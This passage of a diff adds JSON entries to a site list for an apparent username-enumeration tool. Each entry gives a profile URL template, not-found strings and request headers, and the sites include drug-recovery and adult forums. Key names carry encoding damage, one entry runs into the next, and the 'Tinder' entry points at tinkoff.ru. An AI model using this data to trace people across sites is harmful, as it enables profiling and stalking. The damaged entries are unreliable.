"http://stop-narko.info/search.php?keywords=&terms=all&author={}", + "urlMain": "http://stop-narko.info", + "usernameON": "Ergo", + "bad_site": "" + }, + "Stopgame": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://stopgame.ru/user/{}", + "urlMain": "https://stopgame.ru", + "usernameON": "Diml", + "bad_site": "" + }, + "Store_kde": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://store.kde.org/u/{}", + "urlMain": "https://store.kde.org", + "usernameON": "statman", + "bad_site": "" + }, + "Storycorps": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://archive.storycorps.org/user/{}/", + "urlMain": "https://archive.storycorps.org", + "usernameON": "adam", + "bad_site": "" + }, + "Stratege": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "Форум - Stratege.ru", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.stratege.ru/forums/member.php?username={}", + "urlMain": "https://www.stratege.ru", + "usernameON": "blue", + "bad_site": "" + }, + "Strava": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.strava.com/athletes/{}", + "urlMain": "https://www.strava.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Studfile": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://studfile.net/users/{}/", + "urlMain": "https://studfile.net", + "usernameON": "adam", + "bad_site": "" + }, + "Stunited": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "http://stunited.org/profile/{}", + "urlMain": "http://stunited.org", + "usernameON": "mani-vel", + "bad_site": 1 + }, + "Subeta": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Invalid user", + "errorMsg2": "Error", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://subeta.net/users/{}", + "urlMain": "https://subeta.net/", + "usernameON": "Brioche", + "comments": "cf", + "bad_site": "" + }, + "Subforums": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://subforums.net/members/?username={}", + "urlMain": "https://subforums.net", + "usernameON": "romator", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Substack": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://{}.substack.com/", + "urlMain": "https://substack.com/", + "usernameON": "irina", + "bad_site": "" + }, + "Sugoidesu": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://sugoidesu.net/members/?username={}", + "urlMain": "https://sugoidesu.net", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Suicidegirls": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.suicidegirls.com/members/{}/", + "urlMain": "https://www.suicidegirls.com", + "usernameON": "dtimm87", + "bad_site": "" + }, + "Suomi24": { + "country": "🇫🇮", + "country_klas": "FI", + "errorTyp��": "status_code", + "url": "https://www.suomi24.fi/profiili/{}", + "urlMain": "https://www.suomi24.fi", + "usernameON": "Kilgore", + "bad_site": "" + }, + "Superuser": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No users matched your search.", + "errorMsg2": "s-empty-state bg-black-025", + "errorTyp��": "message", + "url": "https://superuser.com/users?tab=Reputation&filter=all&search={}", + "urlMain": "https://superuser.com", + "usernameON": "adam", + "bad_site": "" + }, + "Support_mozilla": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Page Not Found | Mozilla", + "errorMsg2": "Sorry, we couldn't find the page you were looking for.", + "errorTyp��": "message", + "url": "https://support.mozilla.org/en-US/user/{}", + "urlMain": "https://support.mozilla.org", + "usernameON": "username", + "bad_site": "" + }, + "Suunto_Movescount_CLOSEDEAD": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "error=4&", + "errorMsg2": "<title>QT Media 404", + "errorTyp��": "message", + "url": "http://www.movescount.com/ru/members/{}", + "urlMain": "http://www.movescount.com", + "usernameON": "adam", + "bad_site": 1, + "comments": "https://www.suunto.com/" + }, + "Suzuki-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://suzuki-club.ru/members/?username={}", + "urlMain": "https://suzuki-club.ru", + "usernameON": "riphkin", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Suzuri": { + "country": "🇯🇵", + "country_klas": "JP", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://suzuri.jp/{}", + "urlMain": "https://suzuri.jp", + "usernameON": "boss", + "bad_site": "" + }, + "Svidbook": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://www.svidbook.ru/user/{}/", + "urlMain": "https://www.svidbook.ru/", + "usernameON": "Moon", + "comments": "bad", + "bad_site": 1 + }, + "Sweethome3d": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": " Error", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.sweethome3d.com/support/forum/viewmember;?member={}", + "urlMain": "https://www.sweethome3d.com", + "usernameON": "empereur", + "bad_site": "" + }, + "Swimming_forum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://forumswimming.ru/index/8-0-{}", + "urlMain": "http://forumswimming.ru/", + "usernameON": "irina", + "bad_site": "" + }, + "Syberpussy": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://syberpussy.com/members/?username={}", + "urlMain": "https://syberpussy.com", + "usernameON": "akira20m", + "bad_site": 1, + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Syktforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "404Ошибка! - Форум Сыктывкар. Форум города Сыктывкар", + "errorTyp��": "message", + "url": "http://syktforum.ru/profile/{}", + "urlMain": "http://syktforum.ru", + "usernameON": "TonyT", + "bad_site": 1 + }, + "Syktyvkar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://syktyvkar-online.ru/profile/{}", + "urlMain": "http://syktyvkar-online.ru", + "usernameON": "vcaun53", + "bad_site": 1 + }, + "Sysadmins": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Could not obtain user posts information", + "errorMsg2": "", + "errorTyp��": "message", + "errorMsg3": "
    (Attention Required! | Cloudflare", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.sythe.org/members/?username={}", + "urlMain": "https://www.sythe.org", + "usernameON": "rskingp", + "bad_site": "" + }, + "T_baidu": { + "country": "🇨🇳", + "country_klas": "CN", + "errorTyp��": "response_url", + "url": "https://tieba.baidu.com/home/main?un={}", + "urlMain": "https://tieba.baidu.com", + "usernameON": "irina", + "bad_site": "" + }, + "Tabun": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://tabun.everypony.ru/profile/{}/", + "urlMain": "https://tabun.everypony.ru", + "usernameON": "adam", + "bad_site": "" + }, + "TalkDrugabuse": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "url": "https://talk.drugabuse.com/members/?username={}", + "urlMain": "https://talk.drugabuse.com", + "usernameON": "adam", + "bad_site": 1, + "comments": "cf", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Talkingsober": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://talkingsober.com/u/{}/summary", + "urlMain": "https://talkingsober.com", + "usernameON": "carljr", + "bad_site": "" + }, + "Talkstats": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "[а-яА-Я]", + "url": "https://www.talkstats.com/members/?username={}", + "urlMain": "https://www.talkstats.com", + "usernameON": "johnlee", + "bad_site": 1, + "comments": "bad", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Tamboff": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Извините, такого пользователя не существуе", + "errorMsg2": " - tamboff.ru ", + "errorTyp��": "message", + "url": "http://www.tamboff.ru/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "http://www.tamboff.ru", + "usernameON": "z0dl9rnd", + "comments": "bad", + "bad_site": 1 + }, + "TamTam": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "maximum-scale=1", + "errorMsg2": "ТамТам", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://tamtam.chat/{}", + "urlMain": "https://tamtam.chat/", + "usernameON": "blue", + "bad_site": "" + }, + "Taringa_CLOSEDEAD": { + "country": "🇦🇷", + "country_klas": "AR", + "errorTyp��": "response_url", + "url": "https://www.taringa.net/{}", + "urlMain": "https://www.taringa.net/", + "usernameON": "BLUE", + "bad_site": 1 + }, + "Teakdoor": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://teakdoor.com/members/{}.html", + "urlMain": "https://teakdoor.com", + "usernameON": "joe-90", + "comments": "bad", + "bad_site": "" + }, + "Techdirt": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": " | Techdirt", + "errorMsg2": "", + "errorTyp��": "message", + "url": "https://www.techdirt.com/user/{}/", + "urlMain": "https://www.techdirt.com/", + "usernameON": "thatoneguy", + "bad_site": "" + }, + "Techpowerup": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.techpowerup.com/forums/members/?username={}", + "urlMain": "https://www.techpowerup.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Techrepublic": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.techrepublic.com/members/profile/{}/", + "urlMain": "https://www.techrepublic.com", + "usernameON": "Kentertainments75", + "bad_site": 1 + }, + "Tek-tips": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.tek-tips.com/userinfo.cfm?member={}", + "urlMain": "https://www.tek-tips.com/", + "usernameON": "red", + "bad_site": "" + }, + "Teknik": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "The user does not exist", + "errorMsg2": "Not Exist | Teknik ", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://user.teknik.io/{}", + "urlMain": "https://teknik.io/", + "usernameON": "red", + "bad_site": 1 + }, + "Telegram": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://t.me/{}", + "urlMain": "https://t.me/", + "usernameON": "Klaus", + "bad_site": "" + }, + "Telepropusk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://telepropusk.ru/forums/users/{}/", + "urlMain": "https://telepropusk.ru", + "usernameON": "telepropusk", + "bad_site": "" + }, + "Teletype": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://teletype.in/@{}", + "urlMain": "https://teletype.in", + "usernameON": "adam", + "bad_site": "" + }, + "Television_linternaute": { + "country": "🇫🇷", + "country_klas": "FR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://television.linternaute.com/profile/user/{}", + "urlMain": "https://television.linternaute.com", + "usernameON": "Radinoz", + "bad_site": "" + }, + "Tellonym": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://tellonym.me/{}", + "urlMain": "https://tellonym.me/", + "usernameON": "blue", + "comments": "cf", + "bad_site": "" + }, + "Tenchat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://tenchat.ru/{}", + "urlMain": "https://tenchat.ru", + "usernameON": "agreec", + "bad_site": "" + }, + "Teplak": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Извините, такого пользователя не существует", + "errorMsg2": "Теплый Стан :: ", + "errorMsg3": "Извините,", + "errorTyp��": "message", + "url": "http://www.teplak.ru/frm/profile.php?mode=viewprofile&u={}", + "urlMain": "http://www.teplak.ru", + "usernameON": "Lexa", + "comments": "zamedlenie", + "bad_site": 1 + }, + "Terminator": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://terminator-scc.net.ru/index/8-0-{}", + "urlMain": "http://terminator-scc.net.ru", + "usernameON": "red", + "bad_site": "" + }, + "Terminatorium": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "профиль забанен или удален", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://terminatorium.borda.ru/?32-{}", + "urlMain": "https://terminatorium.borda.ru/", + "usernameON": "tengu", + "bad_site": "" + }, + "Termoshop": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://termoshop.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://termoshop.ru/", + "usernameON": "yurez", + "bad_site": "" + }, + "Test_pypi": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "page\":0,\"totalMatches\":0", + "errorMsg2": "results\":[]", + "errorTyp��": "message", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://test.pypi.org/user/{}/", + "urlMain": "https://test.pypi.org", + "usernameON": "samsja", + "urlProbe": "https://deps.dev/_/search?q={}&system=PYPI&page=0&perPage=20", + "bad_site": "" + }, + "Tetongravity": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Please wait", + "errorMsg2": "This user has not registered and therefore does not have a profile to view", + "errorTyp��": "message", + "url": "https://www.tetongravity.com/forums/member.php/?username={}", + "urlMain": "https://www.tetongravity.com", + "usernameON": "RoooR", + "bad_site": "" + }, + "Texasguntalk": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "url": "https://www.texasguntalk.com/members/?username={}", + "urlMain": "https://www.texasguntalk.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Thaicat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.thaicat.ru/index/8-0-{}", + "urlMain": "http://www.thaicat.ru", + "usernameON": "SparcO", + "bad_site": "" + }, + "Theanswerbank": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "Welcome to the AnswerBank", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://www.theanswerbank.co.uk/members/{}", + "urlMain": "https://www.theanswerbank.co.uk", + "usernameON": "adam", + "bad_site": "" + }, + "Thebeautybrains": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://thebeautybrains.com/users/{}/", + "urlMain": "https://thebeautybrains.com", + "usernameON": "randys", + "bad_site": "" + }, + "Thebigboss": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "http://thebigboss.org/author/{}", + "urlMain": "http://thebigboss.org", + "usernameON": "adam", + "bad_site": "" + }, + "Thechessforum": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Page Not Found", + "errorMsg2": "Sorry, page not found", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://thechessforum.com/profile/{}/", + "urlMain": "https://thechessforum.com", + "usernameON": "menaalkhan", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Thechive": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://thechive.com/author/{}/", + "urlMain": "https://thechive.com", + "usernameON": "camrybishop", + "bad_site": "" + }, + "THEcommunity": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://thecommunity.ru/user/{}/", + "urlMain": "https://thecommunity.ru", + "usernameON": "pjslot", + "bad_site": "" + }, + "Thefastdiet": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "Sorry, ", + "errorMsg2": "page doesn", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://thefastdiet.co.uk/forums/users/{}/", + "urlMain": "https://thefastdiet.co.uk", + "usernameON": "fadepeacock", + "bad_site": "" + }, + "Thefastlaneforum": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "url": "https://www.thefastlaneforum.com/community/members/?username={}", + "urlMain": "https://www.thefastlaneforum.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Thelion": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "We are sorry but the following error has occurred.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "http://www.thelion.com/bin/profile.cgi?c=s&ru_name={}", + "urlMain": "http://www.thelion.com", + "usernameON": "adam", + "bad_site": "" + }, + "Themeforest": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://themeforest.net/user/{}", + "urlMain": "https://themeforest.net", + "usernameON": "adam", + "bad_site": "" + }, + "Theodysseyonline": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.theodysseyonline.com/user/@{}", + "urlMain": "https://www.theodysseyonline.com", + "usernameON": "adam", + "bad_site": "" + }, + "Theoutlander": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://theoutlander.ru/index/8-0-{}", + "urlMain": "http://theoutlander.ru", + "usernameON": "Parma", + "bad_site": "" + }, + "Thephysicsforum": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "The Physics Forum", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.thephysicsforum.com/members/{}.html", + "urlMain": "https://www.thephysicsforum.com", + "usernameON": "andrewc", + "bad_site": "" + }, + "Thesimsresource": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.thesimsresource.com/artists/{}/", + "urlMain": "https://www.thesimsresource.com/", + "usernameON": "soloriya", + "bad_site": "" + }, + "Thestudentroom": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "NoneNone", + "errorMsg2": "This user has not registered and therefore does not have a profile to view.", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.thestudentroom.co.uk/member.php?username={}", + "urlMain": "https://www.thestudentroom.co.uk", + "usernameON": "adam", + "bad_site": "" + }, + "Thevampirediaries": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://thevampirediaries.ru/user/{}/", + "urlMain": "http://thevampirediaries", + "usernameON": "PrestonPauh", + "comments": "no_oplata", + "bad_site": 1 + }, + "Theverge": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.theverge.com/users/{}", + "urlMain": "https://www.theverge.com", + "usernameON": "Patlex", + "bad_site": "" + }, + "Thewatchforum": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "[а-яА-Я]", + "url": "https://www.thewatchforum.co.uk/members/?username={}", + "urlMain": "https://www.thewatchforum.co.uk", + "usernameON": "wrench", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Thingiverse": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.thingiverse.com/{}/designs", + "urlMain": "https://www.thingiverse.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Thlaspi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://thlaspi.com/en/user/{}", + "urlMain": "https://thlaspi.com", + "usernameON": "eblinkoff", + "comments": "-t 22 good", + "bad_site": "" + }, + "Threads": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Threads", + "errorMsg2": "| Cloudflare", + "errorMsg3": "content=\"https://www.threads.com/login", + "errorTyp��": "message", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "Priority": "u=1", + "DNT": "1", + "Host": "www.threads.com", + "Connection": "keep-alive", + "Upgrade-Insecure-Requests": "1", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "url": "https://www.threads.com/@{}", + "urlMain": "https://www.threads.com", + "usernameON": "adam", + "bad_site": "" + }, + "TikTok": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tiktok.com/@{}?lang=ru-RU", + "urlMain": "https://www.tiktok.com/", + "headers": { + "Accept": "*/*", + "Sec-GPC": "1", + "Connection": "keep-alive", + "Host": "www.tiktok.com", + "User-Agent": "Mozilla/5.0 (compatible; YandexAccessibilityBot/3.0; +http://yandex.com/bots)" + }, + "usernameON": "red", + "bad_site": "" + }, + "Tildes": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://tildes.net/user/{}", + "urlMain": "https://tildes.net", + "usernameON": "Palatino", + "bad_site": "" + }, + "Tinder": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Dating, Make Friends &", + "errorMsg2": "заводи друзейТинькофф", + "errorTyp��": "message", + "url": "https://www.tinkoff.ru/invest/social/profile/{}/", + "urlMain": "https://www.tinkoff.ru", + "usernameON": "Usual_user", + "bad_site": "" + }, + "Tjournal_CLOSEDEAD": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Мы все внимательно посмотрели, но ничего не нашли :(", + "errorMsg2": "Можно попробовать изменить поисковый запрос или пойти почитать", + "errorTyp��": "message", + "url": "https://tjournal.ru/search/v2/subsite/relevant?query={}", + "urlMain": "https://tjournal.ru", + "usernameON": "adam", + "bad_site": 1 + }, + "Tkgr": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://tkgr.ru/forum/member/{}", + "urlMain": "http://tkgr.ru/", + "usernameON": "siber", + "comments": "zamedlenie", + "bad_site": "" + }, + "Tl": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://tl.net/forum/profile.php?user={}", + "urlMain": "https://tl.net", + "usernameON": "adam", + "bad_site": "" + }, + "Tolyatty": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://tolyatty.net/user/{}/", + "urlMain": "http://tolyatty.net", + "usernameON": "derre-red", + "bad_site": 1 + }, + "Tomtom_CLOSEDEAD": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://discussions.tomtom.com/en/profile/{}", + "urlMain": "https://discussions.tomtom.com/", + "usernameON": "adam", + "bad_site": 1 + }, + "Toot_mstd": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "[а-яА-Я]", + "errorTyp��": "status_code", + "url": "https://toot.cat/@{}", + "urlMain": "https://toot.cat", + "usernameON": "bob", + "bad_site": "" + }, + "Topcheats": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://topcheats.ucoz.com/index/8-0-{}", + "urlMain": "https://topcheats.ucoz.com", + "usernameON": "sergeizakaz", + "bad_site": "" + }, + "Topdb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "Извините, но пользователь не найден", + "errorTyp��": "message", + "url": "https://topdb.ru/{}", + "urlMain": "https://topdb.ru", + "usernameON": "sukaebana2017", + "bad_site": "" + }, + "Topwar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://topwar.ru/user/{}/", + "urlMain": "https://topwar.ru", + "usernameON": "datur", + "bad_site": "" + }, + "Torrent-soft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://torrent-soft.net/user/{}/", + "urlMain": "https://torrent-soft.net", + "usernameON": "Baguvix", + "bad_site": "" + }, + "Totalstavki_CLOSEDEAD": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "[а-яА-Я]", + "url": "https://totalstavki.ru/forum/members/?username={}", + "urlMain": "https://totalstavki.ru", + "usernameON": "turbo", + "bad_site": 1, + "comments": "zakr", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Totseans_CLOSEDEAD": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "<title>Totseans", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "http://www.totseans.com/bbs/profile/{}", + "urlMain": "http://www.totseans.com", + "usernameON": "Vizier", + "comments": "RUblock", + "bad_site": 1 + }, + "Tottenhamhotspur": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://tottenhamhotspur.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://tottenhamhotspur.ru", + "usernameON": "rusiakos", + "bad_site": "" + }, + "Touristlink": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Members across the World", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://www.touristlink.com/user/{}", + "urlMain": "https://www.touristlink.com", + "usernameON": "green", + "comments": "Oplata", + "bad_site": 1 + }, + "Tourney": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По вашему запросу ничего не найдено.", + "errorMsg2": "colspan=\"4\">", + "errorTyp��": "message", + "url": "http://www.tourney.ru/forum/userlist.php?username={}&show_group=-1&sort_by=username", + "urlMain": "http://www.tourney.ru", + "usernameON": "Spirit", + "bad_site": "" + }, + "Toxicbun": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "https://toxicbun.com/@{}", + "urlMain": "https://toxicbun.com", + "usernameON": "Mark", + "comments": "bad", + "bad_site": 1 + }, + "Toyster": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "toyster.ru форум", + "errorTyp��": "message", + "url": "https://toyster.ru/forum/member.php?username={}", + "urlMain": "https://toyster.ru", + "usernameON": "DEMOH85", + "bad_site": "" + }, + "TrackmaniaLadder": { + "country": "🇫🇷", + "country_klas": "FR", + "errorMsg": "player unknown or invalid", + "errorMsg2": "NoneNone", + "errorMsg3": "player unknown or invalid", + "errorTyp��": "message", + "url": "http://en.tm-ladder.com/{}_rech.php", + "urlMain": "http://en.tm-ladder.com/index.php", + "usernameON": "blue", + "comments": "bad", + "bad_site": 1 + }, + "TradingView": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "This isn't the page you're looking for", + "errorMsg2": "", + "errorTyp��": "message", + "url": "https://www.tradingview.com/u/{}/", + "urlMain": "https://www.tradingview.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Trainsim": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "Cloudflare", + "errorMsg3": "Just a moment", + "errorTyp��": "message", + "url": "https://www.trainsim.com/vbts/member.php?username={}", + "urlMain": "https://www.trainsim.com/", + "usernameON": "adam", + "comments": "super", + "bad_site": 1 + }, + "Trakt": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.trakt.tv/users/{}", + "urlMain": "https://www.trakt.tv/", + "usernameON": "blue", + "bad_site": "" + }, + "Translatewiki": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://translatewiki.net/wiki/User:{}", + "urlMain": "https://translatewiki.net", + "usernameON": "Adam", + "bad_site": "" + }, + "Tranzilla": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По данному запросу ничего не найдено.", + "errorMsg2": "><div class=\"info_block\"></div><h2>", + "errorMsg3": "Internal Server Error", + "errorTyp��": "message", + "url": "https://tranzilla.ru/search/?request=&search_type=t", + "urlMain": "https://tranzilla.ru", + "usernameON": "irina", + "bad_site": 1 + }, + "Trashbox": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "div_text_error2", + "errorTyp��": "message", + "url": "https://trashbox.ru/users/{}", + "urlMain": "https://trashbox.ru/", + "usernameON": "blue", + "bad_site": "" + }, + "Travelblog": { + "country": "🌎", + "country_klas": "WR", 